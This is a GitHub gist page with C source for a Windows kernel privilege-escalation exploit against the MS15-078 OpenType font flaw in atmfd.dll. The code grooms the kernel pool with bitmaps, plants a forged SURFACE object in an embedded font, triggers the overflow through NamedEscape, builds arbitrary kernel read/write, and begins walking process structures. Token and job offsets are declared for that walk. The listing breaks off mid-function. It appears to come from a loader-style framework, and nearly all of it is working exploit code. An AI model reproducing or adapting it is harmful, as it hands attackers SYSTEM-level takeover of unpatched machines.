-
-
Save tandasat/fe58510ace14d27bf455a487b4c0a5d2 to your computer and use it in GitHub Desktop.
Windows Open Type ‘atmfd.dll’ Privilege Escalation MS15-078
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include "lib.h" | |
#include <Wininet.h> | |
//#include "starter.h" | |
//include OTF | |
#include "font.h" // foofont is fetched from loader config struct | |
//#include "cert.h" | |
#include "loader.h" | |
#pragma pack(1) | |
#define smallbitmapw64 12 | |
#define smallbitmaph64 7 | |
#define smallbitmapw32 17 | |
#define smallbitmaph32 10 | |
#define largebitmapw 110 | |
#define largebitmaph 100 | |
//obtain kernel address of a gdi handle | |
#define handleaddr(handle) *(unsigned int*)(lpTable->locals->gditable+0x10*(((unsigned int)handle)&0xFFFF)) | |
#define handleaddr64low(handle) *(unsigned int*)(lpTable->locals->gditable+0x18*(((unsigned int)handle)&0xFFFF)) | |
#define handleaddr64high(handle) *(unsigned int*)(lpTable->locals->gditable+0x18*(((unsigned int)handle)&0xFFFF)+4) | |
//unsigned int gditable; //address of gdi shared handle table | |
//HBITMAP hBitmap; | |
//HBITMAP hBitmapslarge[1000]; | |
//HBITMAP testbitmap = NULL; | |
//int firstfailed = 0; | |
//HBITMAP thehandle; | |
unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh); | |
unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned int addrh, unsigned int value0, unsigned int value1); | |
__declspec(naked) _cdecl void stackprobe(void) | |
{ | |
/* apparently naked doesn't work */ | |
//_asm("popl %ebp"); //workaround | |
_asm("popl %ecx"); | |
_asm("movl $0x40100, %eax"); | |
_asm("loop:"); | |
_asm("subl $0x1000, %esp"); | |
_asm("subl $0x1000, %eax"); | |
_asm("testl (%esp), %eax"); | |
_asm("cmpl $0x1000, %eax"); | |
_asm("jae loop"); | |
_asm("subl %eax, %esp"); | |
_asm("testl (%esp), %eax"); | |
_asm("jmp %ecx"); | |
} | |
// ported | |
void allocatetestbitmap(PVTABLE lpTable) { | |
unsigned int buf[largebitmapw*largebitmaph*3]; | |
BITMAPINFO bmpinfo; | |
__MEMSET__(buf, 0xDE, sizeof(buf)); | |
lpTable->locals->testbitmap = lpTable->fpCreateBitmap(largebitmapw, (largebitmaph+1)*3, 1, 32, buf); | |
} | |
//allocate multiple chunks of 0xB000 bytes | |
// ported | |
void allocatelargebitmaps(PVTABLE lpTable) { | |
int i; | |
unsigned int buf[largebitmapw*largebitmaph]; | |
BITMAPINFO bmpinfo; | |
__MEMSET__(buf, 0xDE, sizeof(buf)); | |
for (i = 0; i < sizeof(lpTable->locals->hBitmapslarge)/4; i++) { | |
if (lpTable->locals->hBitmapslarge[i]) | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[i]); | |
} | |
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge)); | |
for (i = 0; i < sizeof(lpTable->locals->hBitmapslarge)/4; i++) { | |
lpTable->locals->hBitmapslarge[i] = lpTable->fpCreateBitmap(largebitmapw, largebitmaph, 1, 32, buf); | |
if (lpTable->locals->hBitmapslarge[i] == 0x0) | |
break; | |
} | |
} | |
// ported | |
int __declspec(naked) __stdcall getgditable64(void) { | |
_asm("mov %fs:(0x18), %eax"); | |
_asm("mov 0xF70(%eax), %eax"); | |
_asm("mov 0x60(%eax), %eax"); | |
_asm("mov 0xF8(%eax), %eax"); | |
_asm("ret"); | |
} | |
int (*addressOfRtlGetCurrentPeb)(void); | |
int _stdcall (*NamedEscape)(HDC hdc, wchar_t *pDriver, int nEscape, int cbInput, void* lpszInData, int cbOutput, void* lpszOutData); | |
//fix CFF table checksum after alteration | |
//ported | |
void fixchecksum(PVTABLE lpTable) { | |
char tmp[0xB18F8]; | |
int i; | |
unsigned int sum = 0; | |
__MEMSET__(tmp, 0, sizeof(tmp)); | |
__MEMCPY__(tmp, lpTable->lpLoaderConfig->foofont+0x568, 0x9BF67); | |
for (i = 0; i < sizeof(tmp); i+=4) | |
sum += lpTable->fpHtonl(*(unsigned int*)(tmp+i)); | |
*(unsigned int*)(lpTable->lpLoaderConfig->foofont+0x10) = lpTable->fpHtonl(sum); | |
} | |
//SURFACE kernel object, located at the kernel address of a bitmap handle | |
typedef struct { | |
unsigned int handle0; | |
unsigned int unk0[4]; | |
unsigned int handle1; | |
unsigned int unk1[2]; | |
unsigned int width; | |
unsigned int height; | |
unsigned int size; | |
unsigned int address0; | |
unsigned int address1; | |
unsigned int scansize; | |
unsigned int unk2; | |
unsigned int bmpformat; | |
unsigned int surftype; | |
unsigned int unk3; | |
unsigned int surflags; | |
unsigned int unk4[12]; | |
} SURFACE; | |
typedef struct { | |
unsigned int handle0; | |
unsigned int unk0[7]; | |
unsigned int handle1; | |
unsigned int unk1[5]; | |
unsigned int width; | |
unsigned int height; | |
unsigned int size; | |
unsigned int sizeh; | |
unsigned int address0low; | |
unsigned int address0high; | |
unsigned int address1low; | |
unsigned int address1high; | |
unsigned int scansize; | |
unsigned int unk2; | |
unsigned int bmpformat; | |
unsigned int surftype; | |
unsigned int unk3[2]; | |
unsigned int surflags; | |
unsigned int unk4[12]; | |
} SURFACE64; | |
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); | |
// ported | |
void getplatformandOS(PVTABLE lpTable) { | |
OSVERSIONINFOEX osvi; | |
ISWOW64PROCESS fnIsWow64Process; | |
BOOL bIs64 = 0; | |
fnIsWow64Process = lpTable->fpIsWow64Process; | |
if (fnIsWow64Process) | |
fnIsWow64Process(lpTable->fpGetCurrentProcess(),&bIs64); | |
__MEMSET__(&osvi, 0, sizeof(OSVERSIONINFOEX)); | |
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); | |
if (! lpTable->fpGetVersionExA((OSVERSIONINFO*) &osvi)) | |
return; | |
if ((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1)) | |
lpTable->locals->isxp = 1; | |
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0)) | |
lpTable->locals->isvista = 1; | |
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1)) | |
lpTable->locals->is7 = 1; | |
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 2)) | |
lpTable->locals->is8 = 1; | |
// TODO FIXME | |
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 2)) | |
lpTable->locals->is81 = 1; | |
lpTable->locals->is64 = bIs64; | |
} | |
BOOL CompareWindowsVersion(PVTABLE lpTable, DWORD dwMajorVersion, DWORD dwMinorVersion); | |
ULONGLONG WINAPI VerSetConditionMask( ULONGLONG dwlConditionMask, DWORD dwTypeBitMask, BYTE dwConditionMask); | |
#define VER_SET_CONDITION(_m_,_t_,_c_) ((_m_)=lpTable->fpVerSetConditionMask((_m_),(_t_),(_c_))) | |
#define VER_MINORVERSION 0x0000001 | |
#define VER_MAJORVERSION 0x0000002 | |
#define VER_BUILDNUMBER 0x0000004 | |
#define VER_PLATFORMID 0x0000008 | |
#define VER_SERVICEPACKMINOR 0x0000010 | |
#define VER_SERVICEPACKMAJOR 0x0000020 | |
#define VER_SUITENAME 0x0000040 | |
#define VER_PRODUCT_TYPE 0x0000080 | |
#define VER_EQUAL 1 | |
#define VER_GREATER 2 | |
#define VER_GREATER_EQUAL 3 | |
#define VER_LESS 4 | |
#define VER_LESS_EQUAL 5 | |
#define VER_AND 6 | |
#define VER_OR 7 | |
#define VER_CONDITION_MASK 7 | |
#define VER_NUM_BITS_PER_CONDITION_MASK 3 | |
BOOL CompareWindowsVersion(PVTABLE lpTable, DWORD dwMajorVersion, DWORD dwMinorVersion) | |
{ | |
OSVERSIONINFOEX ver; | |
DWORDLONG dwlConditionMask = 0; | |
__MEMSET__(&ver, 0, sizeof(OSVERSIONINFOEX)); | |
ver.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); | |
ver.dwMajorVersion = dwMajorVersion; | |
ver.dwMinorVersion = dwMinorVersion; | |
VER_SET_CONDITION(dwlConditionMask, VER_MAJORVERSION, VER_EQUAL); | |
VER_SET_CONDITION(dwlConditionMask, VER_MINORVERSION, VER_EQUAL); | |
return lpTable->fpVerifyVersionInfoA(&ver, VER_MAJORVERSION | VER_MINORVERSION, dwlConditionMask); | |
} | |
int exploit(PVTABLE lpTable) { | |
char inbuf[0x20009]; | |
char outbuf[0x20009]; | |
//char *inbuf = lpTable->locals->inbuf; | |
//char *outbuf = lpTable->locals->outbuf; | |
unsigned int i, j, min, max, count; | |
unsigned int peb; | |
int found = 0; | |
SURFACE64 surf64; | |
SURFACE surf32; | |
unsigned int tmp[4];// = {0,0,0,0}; | |
__MEMSET__(tmp, 0, 4); | |
unsigned char lastbytes[256]; | |
unsigned int corruptedchunk, flink, blink; | |
unsigned int realchunksize = largebitmapw*largebitmaph*4; | |
unsigned int buf64[smallbitmapw64*smallbitmaph64]; | |
unsigned int buf32[smallbitmapw32*smallbitmaph32]; | |
unsigned int sysproch; | |
unsigned int sysprocl; | |
unsigned int systokenh; | |
unsigned int systokenl; | |
unsigned int origtokenh; | |
unsigned int origtokenl; | |
unsigned int origjobh; | |
unsigned int origjobl; | |
unsigned int kbase = 0; | |
unsigned int kproc = 0; | |
unsigned int pid_offset = 0x2e0; | |
unsigned int flink_offset = pid_offset + 8; | |
unsigned int job_offset = 0x3A0; | |
unsigned int token_offset = 0x348; | |
char buf_dbg[256]; | |
char logBuffer[1024]; | |
//UINT64 fLastTime = 0, fTemp = 0; | |
HANDLE hProcessHeap = lpTable->fpGetProcessHeap(); | |
//char *inbuf = (char *) lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, 0x20009); | |
//char *outbuf = (char *) lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, 0x20009); | |
//unsigned int *buf64 = (unsigned int *)lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, smallbitmapw64*smallbitmaph64); | |
//unsigned int *buf32 = (unsigned int *)lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, smallbitmapw32*smallbitmaph32); | |
//lpTable->lpLoaderConfig->foofont = foofont; | |
int (*fpAddressOfRtlGetCurrentPeb)(void); | |
fpNamedEscape NamedEscape; | |
//char cExploit[20] = { '[', '*', ']', '\t', 'e', 'x', 'p', 'l', 'o', 'i', 't', '(', ')', '\n', 0x0}; | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strExploit); | |
getplatformandOS(lpTable); | |
prepare_for_exploit(lpTable); | |
if(CompareWindowsVersion(lpTable, 6, 3)) | |
kbase = 0xFFFFE000; | |
else | |
kbase = 0xFFFFFA80; | |
lpTable->fpSnprintf(logBuffer, 1024, lpTable->lpLoaderConfig->strKbase, kbase); | |
lpTable->fpOutputDebugStringA(logBuffer); | |
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge)); | |
if (lpTable->locals->is64) | |
lpTable->locals->hBitmap = lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64); | |
else | |
lpTable->locals->hBitmap = lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32); | |
__MEMSET__(outbuf, 0, sizeof(outbuf)); | |
__MEMSET__(inbuf, 0, sizeof(outbuf)); | |
__MEMSET__(buf64, 0, sizeof(buf64)); | |
__MEMSET__(buf32, 0, sizeof(buf32)); | |
//obtain GdiSharedHandleTable | |
char *cNtdll = lpTable->lpLoaderConfig->strNtDll; | |
char *cGdi32 = lpTable->lpLoaderConfig->strGdi32; | |
char *cRtlGetCurrentPeb = lpTable->lpLoaderConfig->strRtlGetCurrentPeb; | |
char *cNamedEscape = lpTable->lpLoaderConfig->strNamedEscape; | |
if (lpTable->locals->is64) | |
lpTable->locals->gditable = getgditable64(); | |
else { | |
fpAddressOfRtlGetCurrentPeb = (int (*)(void)) lpTable->GetProcAddress(lpTable->fpGetModuleHandleA(cNtdll), cRtlGetCurrentPeb); | |
peb = fpAddressOfRtlGetCurrentPeb(); | |
lpTable->locals->gditable = *(unsigned int*)(peb + 0x94); | |
} | |
NamedEscape = (fpNamedEscape) lpTable->GetProcAddress(lpTable->fpGetModuleHandleA(cGdi32), cNamedEscape); | |
lpTable->fpSnprintf(buf_dbg, 256, lpTable->lpLoaderConfig->strGdiTable, lpTable->locals->gditable); | |
lpTable->fpOutputDebugStringA(buf_dbg); | |
//prepare a SURFACE object which will overwrite the SURFACE object of a large bitmap | |
//this will enable us to modify hBitmap's pixel data in kernel | |
if (!lpTable->locals->is64) { | |
__MEMSET__(&surf32, 0, sizeof(surf32)); | |
surf32.width = largebitmapw; | |
surf32.height = largebitmaph; | |
surf32.size = surf32.width*surf32.height*4; | |
//point to hBitmap SURFACE->address0, which contains the kernel address of bitmap data | |
surf32.address0 = surf32.address1 = handleaddr(lpTable->locals->hBitmap) + 0x2C; | |
surf32.scansize = surf32.width*4; | |
surf32.bmpformat = 0x6; //BMF_32BPP | |
surf32.surftype = 0x00010000; //STYPE_DEVICE | |
surf32.surflags = 0x04800000; //API_BITMAP | HOOK_TEXTOUT | |
//write to the OTF data loaded from font.h | |
for (i = 0; i < sizeof(surf32); i+=2) { | |
unsigned short tmp = *(unsigned short*)((unsigned int)&surf32+i); | |
*(unsigned short*)(lpTable->lpLoaderConfig->foofont+0x16DF3+i) = lpTable->fpHtons(tmp); | |
} | |
} else { | |
__MEMSET__(&surf64, 0, sizeof(surf64)); | |
surf64.width = largebitmapw; | |
surf64.height = largebitmaph; | |
surf64.size = surf64.width*surf64.height*4; | |
//point to hBitmap SURFACE->address0, which contains the kernel address of bitmap data | |
surf64.address0low = surf64.address1low = handleaddr64low(lpTable->locals->hBitmap) + 0x48; | |
surf64.address0high = surf64.address1high = handleaddr64high(lpTable->locals->hBitmap); | |
surf64.scansize = surf64.width*4; | |
surf64.bmpformat = 0x6; //BMF_32BPP | |
surf64.surftype = 0x00010000; //STYPE_DEVICE | |
surf64.surflags = 0x04800200; //API_BITMAP | HOOK_TEXTOUT | |
//write to the OTF data loaded from font.h | |
for (i = 0; i < sizeof(surf64); i+=2) { | |
unsigned short tmp = *(unsigned short*)((unsigned int)&surf64+i); | |
*(unsigned short*)(lpTable->lpLoaderConfig->foofont+0x16DEF+i) = lpTable->fpHtons(tmp); | |
} | |
} | |
//fix CFF table checksum | |
fixchecksum(lpTable); | |
//////////////////// | |
/*fTemp = getTime(); | |
snprintf(logBuffer, 1024, "[*] font ready: %llu\n", fTemp-fLastTime); | |
logLine(logBuffer); | |
fLastTime = fTemp;*/ | |
//prepare memory | |
for (i = 0; i < 100; i++) | |
if (lpTable->locals->is64) | |
lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64); | |
else | |
lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32); | |
/*fTemp = getTime(); | |
snprintf(logBuffer, 1024, "[*] memory prepared, will not load font instances: %llu\n", fTemp-fLastTime); | |
logLine(logBuffer); | |
fLastTime = fTemp;*/ | |
//find the kernel address of the font object by allocating a 0x330 bitmap object | |
//in the session pool immediately after loading the font, this places the bitmap | |
//object in the vicinity of the font object | |
WCHAR *wcAtmfd = lpTable->lpLoaderConfig->strAtmfd; | |
while (found == 0) { | |
//load the font | |
//load the font | |
unsigned char fontloaded = 0; | |
HANDLE fhandle; | |
for (j = 0; j < 15; j++) { | |
tmp[0] = 0; | |
/*fTemp = getTime(); | |
snprintf(logBuffer, 1024, "[*] %d *Sleep * First AddFontMemResourceEx: %llu\n", j, fTemp-fLastTime); | |
logLine(logBuffer); | |
fLastTime = fTemp;*/ | |
fhandle = lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]); | |
if (fhandle) | |
{ | |
fontloaded = 1; | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strFontFound); | |
} | |
} | |
if (fontloaded == 0) { | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strProcessInternal); | |
return -1; | |
} | |
if (lpTable->locals->is64) | |
j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64); | |
else | |
j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32); | |
if (lpTable->locals->is64) { | |
tmp[0] = handleaddr64low(j); | |
tmp[1] = handleaddr64high(j); | |
} else | |
tmp[0] = handleaddr(j); | |
min = tmp[0]-0x4000; | |
max = tmp[0]+0x4000; | |
for (j = 0; j < 15; j++) { | |
tmp[0] = 0; | |
//lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]); | |
if (lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0])) | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strFontFound); | |
} | |
for (i = min; i < max; i+=8) { | |
int ret; | |
*(unsigned int*)inbuf = i; | |
if (lpTable->locals->is64) | |
*(unsigned int*)(inbuf+4) = tmp[1]; | |
__MEMSET__(outbuf, 0, sizeof(outbuf)); | |
//call an internal atmfd.dll function which receives a kernel font object as input and validates it | |
//also returning data that identifies the font | |
if (lpTable->locals->is64) { | |
ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x10, inbuf, 0x10, outbuf); | |
} else { | |
ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x0C, inbuf, 0x0C, outbuf); | |
} | |
if (ret != 0xFFFFFF21) { | |
char *p; | |
if (lpTable->locals->is64) | |
p = outbuf+8; | |
else | |
p = outbuf+4; | |
if (__MEMCMP__(p, lpTable->lpLoaderConfig->strFontEgg, 8) == 0) { | |
found = 1; | |
break; | |
} | |
} | |
} | |
} | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strFontFound); | |
//////////////// | |
if (found) { | |
int count, addr1, addr2; | |
int matchcount = 0; | |
int direction = 0; | |
int matched = -1; | |
//store the found object to the input buffer | |
__MEMSET__(inbuf, 0, sizeof(inbuf)); | |
*(unsigned int*)inbuf = i; | |
if (lpTable->locals->is64) { | |
*(unsigned short*)(inbuf+8) = (sizeof(inbuf)-0xE)/2; | |
*(unsigned int*)(inbuf+4) = tmp[1]; | |
} else | |
*(unsigned short*)(inbuf+4) = (sizeof(inbuf)-10)/2; | |
retry: | |
//allocate large bitmaps (0xB000) in order to place a kernel buffer of 0x21000 bytes at a desired address | |
allocatelargebitmaps(lpTable); | |
for (i = 0; i < sizeof(lpTable->locals->hBitmapslarge)/4; i++) | |
if (lpTable->locals->hBitmapslarge[i] == 0) | |
break; | |
count = i; | |
//locate 9 consecutive 0xB000 kernel chunks that were allocated in order | |
for (i = 1; i < count; i++) { | |
if (i >= count/2) { | |
unsigned int addr1; | |
unsigned int addr2; | |
if (lpTable->locals->is64) { | |
addr1 = handleaddr64low(lpTable->locals->hBitmapslarge[i-1]); | |
addr2 = handleaddr64low(lpTable->locals->hBitmapslarge[i]); | |
} else { | |
addr1 = handleaddr(lpTable->locals->hBitmapslarge[i-1]); | |
addr2 = handleaddr(lpTable->locals->hBitmapslarge[i]); | |
} | |
if (addr2 - addr1 == 0xB000) { | |
if (direction == 1) | |
matchcount = 0; | |
direction = 0; | |
matchcount++; | |
} | |
else if (addr1 - addr2 == 0xB000) { | |
if (direction == 0) | |
matchcount = 0; | |
direction = 1; | |
matchcount++; | |
} | |
else { | |
matchcount = 0; | |
} | |
if (matchcount == 9) { | |
matched = i-5; | |
break; | |
} | |
} | |
} | |
if (matched == -1) { | |
return -1; | |
} | |
//remove three consecutive 0xB000 chunks -> concatenated into one large 0x21000 free chunk | |
if (!direction) { | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched]); | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+1]); | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+2]); | |
} else { | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+2]); | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+1]); | |
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched]); | |
} | |
allocatetestbitmap(lpTable); | |
if (lpTable->locals->testbitmap == NULL) { | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strBitmapFailed); | |
exit(0); | |
} | |
if (lpTable->locals->is64) { | |
if (!direction) | |
if (handleaddr64low(lpTable->locals->testbitmap) != handleaddr64low(lpTable->locals->hBitmapslarge[matched-1])+0xB000) | |
{ | |
// DeleteObject(testbitmap); | |
goto retry; | |
} | |
if (direction) | |
if (handleaddr64low(lpTable->locals->testbitmap) != handleaddr64low(lpTable->locals->hBitmapslarge[matched+3])+0xB000) | |
{ | |
// DeleteObject(testbitmap); | |
goto retry; | |
} | |
} else { | |
if (!direction) | |
if (handleaddr(lpTable->locals->testbitmap) != handleaddr(lpTable->locals->hBitmapslarge[matched-1])+0xB000) | |
{ | |
// DeleteObject(testbitmap); | |
goto retry; | |
} | |
if (direction) | |
if (handleaddr(lpTable->locals->testbitmap) != handleaddr(lpTable->locals->hBitmapslarge[matched+3])+0xB000) | |
{ | |
// DeleteObject(testbitmap); | |
goto retry; | |
} | |
} | |
lpTable->fpDeleteObject(lpTable->locals->testbitmap); | |
//getchar(); | |
//call atmfd.dll function 0x2514 with an input buffer of 0x20005 bytes | |
//the input buffer has the kernel address of the loaded font in the first dword | |
//and the size of words its able to hold in the following word | |
//before entering atmfd.dll, win32k.dll allocates a kernel buffer of 0x21000 bytes for the input buffer | |
//this kernel buffer will be allocated into the previously created hole | |
//function 0x2514 will also trigger the exploited vulnerability, | |
//which will underflow the 0x21000 buffer with controlled data, | |
//corrupting the SURFACE object of the bitmap object placed below the buffer | |
//with the previously constructed SURFACE object (pointing to hBitmap) | |
/*fTemp = getTime(); | |
snprintf(logBuffer, 1024, "[*] triggering vuln: %llu\n", fTemp-fLastTime); | |
logLine(logBuffer); | |
fLastTime = fTemp;*/ | |
if (lpTable->locals->is64) { | |
NamedEscape(NULL, wcAtmfd, 0x2514, sizeof(inbuf), inbuf, sizeof(outbuf), outbuf); | |
} else { | |
NamedEscape(NULL, wcAtmfd, 0x2514, sizeof(inbuf)-4, inbuf, sizeof(outbuf)-4, outbuf); | |
} | |
//obtain the handle of the modified bitmap | |
//direction represents the direction in which the memory grows on allocation | |
//0 = up (XP) | |
//1 = down (7) | |
if (!direction) | |
lpTable->locals->thehandle = lpTable->locals->hBitmapslarge[matched-1]; | |
else | |
lpTable->locals->thehandle = lpTable->locals->hBitmapslarge[matched+3]; | |
__MEMSET__(lastbytes, 0, sizeof(lastbytes)); | |
lpTable->fpGetBitmapBits(lpTable->locals->thehandle, sizeof(lastbytes), lastbytes); | |
//validate scan size - check if exploit was successful | |
if (lpTable->locals->is64) { | |
if (*(unsigned int*)(lastbytes+16) != smallbitmapw64*4) { | |
//THIS SHOULD NEVER OCCUR | |
//lpTable->fpOutputDebugStringA("Should never 1\n"); | |
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge)); | |
lpTable->locals->firstfailed = 1; | |
goto retry; | |
} | |
} else { | |
if (*(unsigned int*)(lastbytes+8) != smallbitmapw32*4) { | |
//THIS SHOULD NEVER OCCUR | |
//lpTable->fpOutputDebugStringA("Should never 2\n"); | |
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge)); | |
lpTable->locals->firstfailed = 1; | |
goto retry; | |
} | |
} | |
//call SetBitmapBits on thehandle, | |
//effectively overwriting the bitmap bits address of hBitmap | |
if (lpTable->locals->is64) { | |
tmp[0] = tmp[2] = handleaddr64low(lpTable->locals->thehandle); | |
tmp[1] = tmp[3] = handleaddr64high(lpTable->locals->thehandle); | |
} else { | |
tmp[0] = tmp[1] = handleaddr(lpTable->locals->thehandle); | |
} | |
//after this call, [Set/Get]BitmapBits(hBitmap) will read or write data to | |
//our desired address (in this case the real address of the initially corrupted bitmap) | |
if (lpTable->locals->is64) | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp); | |
else | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); | |
//write the bitmap handle to its SURFACE object | |
//avoiding future kernel panics | |
if (lpTable->locals->is64) { | |
surf64.handle0 = surf64.handle1 = (unsigned int)lpTable->locals->thehandle; | |
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(surf64), &surf64); | |
} else { | |
surf32.handle0 = surf32.handle1 = (unsigned int)lpTable->locals->thehandle; | |
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(surf32), &surf32); | |
} | |
//fix corrupted heap chunk (placed before overwritten chunk) | |
//to avoid kernel crashes when freeing the chunk on program exit | |
//read 256 bytes from the beginning of a valid (not corrupted) bitmap | |
//in order to determine the number of bytes placed in kernel before the actual | |
//image bits | |
if (lpTable->locals->is64) { | |
tmp[0] = tmp[2] = handleaddr64low(lpTable->locals->hBitmapslarge[0]); | |
tmp[1] = tmp[3] = handleaddr64high(lpTable->locals->hBitmapslarge[0]); | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp); | |
} else { | |
tmp[0] = tmp[1] = handleaddr(lpTable->locals->hBitmapslarge[0]); | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); | |
} | |
__MEMSET__(lastbytes, 0xDE, sizeof(lastbytes)); | |
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(lastbytes), lastbytes); | |
if (*(unsigned int*)(lastbytes+(lpTable->locals->is64?0x48:0x2C)) == 0xDEDEDEDE) { | |
return -1; | |
} | |
//true chunk size = address of data bits - start address + width*height*4 | |
if (lpTable->locals->is64) | |
realchunksize += *(unsigned int*)(lastbytes+0x48) - handleaddr64low(lpTable->locals->hBitmapslarge[0]); | |
else | |
realchunksize += *(unsigned int*)(lastbytes+0x2C) - handleaddr(lpTable->locals->hBitmapslarge[0]); | |
//chunks are followed e.g. on Windows 7 by a structure containing internal heap fields | |
//later used to validate the chunk | |
//e.g. flink, blink | |
//compute the address of the corrupted chunk and the flink and blink it should point to | |
if (lpTable->locals->is64) { | |
if (!direction) { | |
corruptedchunk = handleaddr64low(lpTable->locals->hBitmapslarge[matched-2]) + realchunksize; | |
flink = handleaddr64low(lpTable->locals->hBitmapslarge[matched-1]) + realchunksize; | |
blink = handleaddr64low(lpTable->locals->hBitmapslarge[matched-3]) + realchunksize; | |
} else { | |
corruptedchunk = handleaddr64low(lpTable->locals->hBitmapslarge[matched+4]) + realchunksize; | |
flink = handleaddr64low(lpTable->locals->hBitmapslarge[matched+5]) + realchunksize; | |
blink = handleaddr64low(lpTable->locals->hBitmapslarge[matched+3]) + realchunksize; | |
} | |
} else { | |
if (!direction) { | |
corruptedchunk = handleaddr(lpTable->locals->hBitmapslarge[matched-2]) + realchunksize; | |
flink = handleaddr(lpTable->locals->hBitmapslarge[matched-1]) + realchunksize; | |
blink = handleaddr(lpTable->locals->hBitmapslarge[matched-3]) + realchunksize; | |
} else { | |
corruptedchunk = handleaddr(lpTable->locals->hBitmapslarge[matched+4]) + realchunksize; | |
flink = handleaddr(lpTable->locals->hBitmapslarge[matched+5]) + realchunksize; | |
blink = handleaddr(lpTable->locals->hBitmapslarge[matched+3]) + realchunksize; | |
} | |
} | |
//read 256 bytes from the end of a valid HBITMAP | |
//in order to dynamically determine the location of the flink and blink fields | |
if (lpTable->locals->is64) { | |
tmp[0] = tmp[2] = flink; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp); | |
} else { | |
tmp[0] = tmp[1] = flink; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); | |
} | |
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(lastbytes), lastbytes); | |
for (i = 0; i < sizeof(lastbytes); i+=4) { | |
unsigned int dword = *(unsigned int*)(lastbytes+i); | |
if (corruptedchunk + i - (lpTable->locals->is64?8:4) == dword) { | |
break; | |
} | |
} | |
//once the offset to the blink is determined (blink is at i, flink is at i-4) | |
//the corrupted chunk's flink and blink fields are fixed | |
if (i != sizeof(lastbytes)) { | |
if (lpTable->locals->is64) { | |
*(unsigned int*)(lastbytes+i) = blink+i-8; | |
*(unsigned int*)(lastbytes+i-8) = flink+i-8; | |
tmp[0] = tmp[2] = corruptedchunk; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp); | |
} else { | |
*(unsigned int*)(lastbytes+i) = blink+i-4; | |
*(unsigned int*)(lastbytes+i-4) = flink+i-4; | |
tmp[0] = tmp[1] = corruptedchunk; | |
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); | |
} | |
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(lastbytes), lastbytes); | |
} | |
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strTraversingProcesses); | |
//traverse processes | |
unsigned int KiInitialProcessLow = arbread(lpTable, 0x00000300, 0xfffffa80); // uValue = nt!KiInitialProcess | |
unsigned int KiInitialProcessHigh = arbread(lpTable, 0x00000304, 0xfffffa80); // uValue = nt!KiInitialProcess | |
